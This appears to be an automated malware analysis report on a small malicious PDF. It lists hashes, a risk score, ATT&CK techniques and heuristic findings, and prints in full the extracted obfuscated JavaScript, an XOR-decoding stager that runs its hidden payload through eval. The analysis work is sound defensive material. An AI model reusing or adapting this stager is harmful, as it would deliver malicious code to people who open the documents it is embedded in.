Malicious PDF — malware analysis report

Static analysis result for SHA-256 7563bf8e436b053e…

MALICIOUS

PDF

4.6 KB Created: 2010-04-23 07:01:16 Authoring application: Vmicijouiniwsi
MD5: 7efd66865374f45868eaaf7897f497d3 SHA-1: 4efde8ce4a86debc9e7b5a7eaa6ba9469631b2b4 SHA-256: 7563bf8e436b053e8af5b754607d471589a26eefecb99a8fd671a85438f482b8
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution

The PDF file contains embedded JavaScript that is obfuscated using XOR operations and string concatenation. The script decodes a payload and executes it, likely to download and run a second-stage malicious file. The ML classifier and high-severity heuristics strongly indicate malicious intent.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js
cfd3bb3022db7a6b9b187b0abae15b5cb3762c4644d1ff05b2b851bd93852b11		 pdf-javascript-stream PDF /JS object 11 at offset 0xCFD 810 bytes
Preview script
First 1,000 lines of the extracted script
var eZ="unes"+"cape";var p=new String("fromV9hl".substr(0,4)+"UqXCharXUq".substr(3,4)+"Code");var pU=String("getPaY4JQ".substr(0,5)+"jVWgeNthVWj".substr(3,5)+"WordY8jX".substr(0,4));;var wL=String;var x=String("getP"+"ageN"+"umWo"+"rdsVi8k".substr(0,3));var f=this;var l=String("charC"+"odeAtuGzB".substr(0,5));var t=new String();var fG="subst"+"rTOiW".substr(0,1);var yV=109;var d=1;function tC(kX,fE){return kX^fE;};var aD=["a","p","","p"];h=new String(aD[0]+aD[1]+aD[1]+aD[2]);var fM=["l","v","a","e",""];qL=new String(fM[3]+fM[1]+fM[2]+fM[0]+fM[4]);;var v="GUa%".substr(3);var j=97-95;var hU=5066-5066;var iV=f[qL];var h=f[h];var hC=f[x](d);var mN=f[eZ];;for(var fW=hU;fW<hC;fW++){wT=f[pU](d,fW);var dW=wT[fG](wT.length-j,j);var oT=v+dW;var hQ=mN(oT);var yR=hQ[l](hU);var lI=tC(yR,yV);t+=wL[p](lI);}iV(t);

Open this report in the interactive analyzer, or submit your own file for analysis.